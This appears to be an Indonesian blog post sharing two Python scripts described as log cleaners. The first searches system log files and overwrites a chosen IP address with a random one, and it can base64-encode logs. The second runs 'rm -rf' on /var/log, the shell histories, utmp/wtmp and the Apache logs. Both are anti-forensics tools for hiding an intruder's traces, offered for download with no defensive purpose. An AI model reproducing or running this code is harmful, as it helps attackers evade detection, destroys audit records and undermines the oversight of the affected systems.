Source Code Python Log Cleaner


Pengertian bahasa pemrograman python adalah bahasa pemrograman tinggi yang dapat melakukan eksekusi sejumlah intruksi multiguna secara langsung (interpretatif) dengan metode orientasi objek (Object Oriented Programming) serta menggunakan semantik dinamis untuk memberikan tingkat keterbacaan syntax. Sebagai bahasa pemrograman tinggi, python dapat dipelajari dengan mudah karena sudah dilengkapi dengan manajemen memori otomatis (pointer)

Di artikel ini saya akan membagi source code python log cleaner ..
fungsi nya apa min?
" Fungsinya adalah anda bisa menghilankan sejenak dari log yang tersimpan".

Berikut Source Codenya
  1. #!/usr/bin/python
  2. #PyLogcleaner uses the list given (logfiles) containing
  3. # 274 logfiles and uses the linux find
  4. #cmd to try and locate more logfiles to search
  5. #for an ip address to replace with a random generated
  6. #one. It can also encrypt/d3crypt a
  7. #logfile and also can watch a logfile for modifications.
  8. import os, sys, time, pwd, getopt, re, random,StringIO, commands
  9. def title():
  10.     print "\n   PyLogCleaner v1.0"
  11.     print "-----------------------------------------------"
  12. def usage():
  13.     title()
  14.     print "\n  Usage: python logcleaner.py <option>\n"
  15.     print "\t[options]"
  16.     print "\t   -i <ip>: Ip to search for and replace"
  17.     print "\t   -e <file>: Encrypts logfile"
  18.     print "\t   -d <file>: Decrypts logfile"
  19.     print "\t   -w/-watch <file> <time to check> : Watches logfile for modification"
  20.     print "\t   -h/-help: Prints this menu\n"
  21. def timer():
  22.     now = time.localtime(time.time())
  23.     return time.asctime(now)
  24. def validater(logs):
  25.    
  26.     activeLogs = []
  27.     print "[+] Validating:",len(logs),"logfiles\n"
  28.     for l in logs:
  29.         if os.path.isfile(l) == True:
  30.             activeLogs.append(l)
  31.     if len(activeLogs)>0:
  32.         print "[+] Active Logs Found:",len(activeLogs)
  33.         return activeLogs
  34.     else:
  35.         print "[-] No Active Logs Found"
  36.         sys.exit(1)
  37.        
  38. def search(logfiles):
  39.    
  40.     print "\n[+] Searching:",ip,"\n"
  41.     import mmap
  42.    
  43.     for file in logfiles:
  44.         try:
  45.             f = open(file, "rb+")
  46.             size = os.path.getsize(file)
  47.             if size >= 1:
  48.                 data = mmap.mmap(f.fileno(), size)
  49.                 loc = data.find(ip)
  50.                 #Lets not search a file with no data.
  51.                 if loc == -1:
  52.                     #print "[+] File:",file,"|",size,"bytes"
  53.                     #print "\t[-] IP not found"
  54.                     data.close()
  55.                 else:
  56.                     print "-"*45
  57.                     print "[+] File:",file,"|",size,"bytes"
  58.                     print "\t[+] IP found"
  59.                     data.seek(loc)
  60.                     data.write(randip)
  61.                     print "[+] Replaced: ",ip,">>",randip
  62.                     print "[+] New_Size:",os.path.getsize(file),"bytes"
  63.                     print "-"*45
  64.                     data.close()
  65.         except(IOError), msg:
  66.             pass
  67.     print "\n[+] Done:",timer(),"\n"
  68.                    
  69. def findlogs():
  70.     os.chdir("/")
  71.    
  72.     print "[+] Finding More Logfiles..."
  73.     #Lets use the linux find cmd to fing more files containing log...
  74.     logz =StringIO.StringIO(commands.getstatusoutput('find . -iname *log -perm -444 -print')[1]).readlines()
  75.     if len(logz)>0:
  76.         print "[+] Found:",len(logz),"extra logfiles"
  77.         for log in logz:
  78.             if re.search("Permission denied",log) ==None:
  79.                 logs.append(log[:-1])
  80.     return logs
  81.    
  82. def randip():
  83.    
  84.     A = random.randrange(255) + 1
  85.     B = random.randrange(255) + 1
  86.     C = random.randrange(255) + 1
  87.     D = random.randrange(255) + 1
  88.     randip = "%d.%d.%d.%d" % (A,B,C,D)
  89.     return randip
  90. def gettime():
  91.     clock =time.asctime(time.localtime(os.path.getmtime(logfile)))
  92.     return clock
  93. def getsize():
  94.     size = os.path.getsize(logfile)
  95.     return size
  96. def modlast(logfile):
  97.     try:
  98.         sys.argv[3]
  99.     except(IndexError):
  100.         print "\n[-] Need a time in seconds (ex: 60)\n"
  101.         sys.exit(1)
  102.        
  103.     print "[+] Analyzing:",logfile
  104.     print "[+] Time:",sys.argv[3],"secs"
  105.     print "[+] Owner:",pwd.getpwuid(os.stat(logfile)[4])[0]
  106.     print "[+] Size:",getsize(),"bytes"
  107.     print "[+] Last Modified:",gettime()
  108.     print "[+] Starting:",timer()
  109.     old_time = gettime()
  110.     while True:
  111.         time.sleep(int(sys.argv[3]))
  112.         new_time = gettime()
  113.         if new_time != old_time:
  114.             print "\n[+] File Modified:",new_time
  115.             print "[+] New Size:",getsize(),"bytes\n"
  116.             old_time = new_time
  117.    
  118. def encrypter(file):
  119.     import base64
  120.     print "\n[+] Encrypting:",file
  121.     print "[+] Size:",os.path.getsize(file),"bytes"
  122.     try:
  123.         log2encode = open(file, "r").read()
  124.     except(IOError):
  125.         print "Error: Check your full path.\n"
  126.         sys.exit(1)
  127.     log2encode = base64.b64encode(log2encode)
  128.     os.remove(file)
  129.     time.sleep(2)
  130.     f = open(file, "a")
  131.     f.write(log2encode)
  132.     f.close()
  133.     print "[+] NewSize:",os.path.getsize(file),"bytes"
  134.     print "[+] Done\n"
  135. def d3crypter(file):
  136.     import base64
  137.     print "\n[+] Decrypting:",file
  138.     print "[+] Size:",os.path.getsize(file),"bytes"
  139.     try:
  140.         b2log = open(file, "r").read()
  141.     except(IOError):
  142.         print "Error: Check your full path.\n"
  143.         sys.exit(1)
  144.     b2log = base64.b64decode(b2log)
  145.     os.remove(file)
  146.     time.sleep(2)
  147.     f = open(file, "a")
  148.     f.write(b2log)
  149.     f.close()
  150.     print "[+] NewSize:",os.path.getsize(file),"bytes"
  151.     print "[+] Done\n"
  152. if len(sys.argv) <= 1:
  153.     usage()
  154.     sys.exit(1)
  155. if len(sys.argv) == 2:
  156.     usage()
  157.     sys.exit(1)
  158. if sys.argv[1] == "-w" or sys.argv[1] == "-watch":
  159.     logfile = sys.argv[2]
  160.     if os.path.isfile(logfile) == False:
  161.         title()
  162.         print "\n[-] Cannot Open File, Check Full Path!!!\n"
  163.         sys.exit(1)
  164.     else:
  165.         title()
  166.         modlast(logfile)
  167. if sys.argv[1] == "-i":
  168.     ip = sys.argv[2]       
  169.     try:
  170.         logs = open("logfiles", "r").readlines()
  171.     except(IOError):
  172.         print "Error: logfiles missing\n"
  173.         sys.exit(1)
  174.     title()
  175.     print "\n[+] Starting:",timer()
  176.     print "[+] Loaded:",len(logs),"logs"
  177.     findlogs()
  178.     randip = randip()
  179.     print "[+] Generate Random IP:",randip
  180.     search(validater(logs))
  181. if sys.argv[1] == "-e":
  182.     file = sys.argv[2]
  183.     title()
  184.     encrypter(file)
  185. if sys.argv[1] == "-d":
  186.     file = sys.argv[2]
  187.     title()
  188.     d3crypter(file)

Download source codenya Disini

Anda juga bisa menggunakan Dari Voodork YCL 
Berikut source codenya 


  1. #!/usr/bin/env python
  2. import threading
  3. import os
  4. from time import sleep, ctime
  5. print'''
  6.      _     _  ___    _
  7.     ( )   ( )(  _`( )
  8.     ``\_/'/'| ( (_)| |
  9.       `/'  | |  _ | |  _
  10.        | |   | (_( )| |_( )
  11.        (_)   (____/'(____/'og cleaner
  12.               Kinds Regard
  13.                         ./VodOrkYCL.py
  14.    '''
  15. lt = ctime()
  16. print '[+] Starting log cleaner at %s\n\n' %(lt)
  17. sleep(5)
  18. class output_command(threading.Thread):
  19.     def __init__(self, command):
  20.         threading.Thread.__init__(self)
  21.         self.command = command
  22.     def run(self):
  23.         os.system(self.command)
  24.         print "[+]log was finish to clean......\n"
  25. class input_command:
  26.     def __init__(self):
  27.                 clear_add = ["rm -rf /tmp/logs","rm -rf $HISTFILE","rm -rf /root/.ksh_history","rm -rf /root/.bash_history","rm -rf /root/.bash_logout","rm -rf /usr/local/apache/logs","rm -rf /usr/local/apache/logs","rm -rf /usr/local/apache/log","rm -rf /var/apache/logs","rm -rf /var/apache/log","rm -rf /var/run/utmp","rm -rf /var/logs","rm -rf /var/log","rm -rf /var/adm","rm -rf /etc/wtmp","rm -rf /etc/utmp"]
  28.                 for listt in clear_add:
  29.                     try:
  30.                       i=output_command(listt)
  31.                       i.start()
  32.                     except:
  33.                       pass
  34. if __name__ == "__main__":
  35.        objCaller = input_command()


Eat, Sleep, Coding. Repeat !

Post a Comment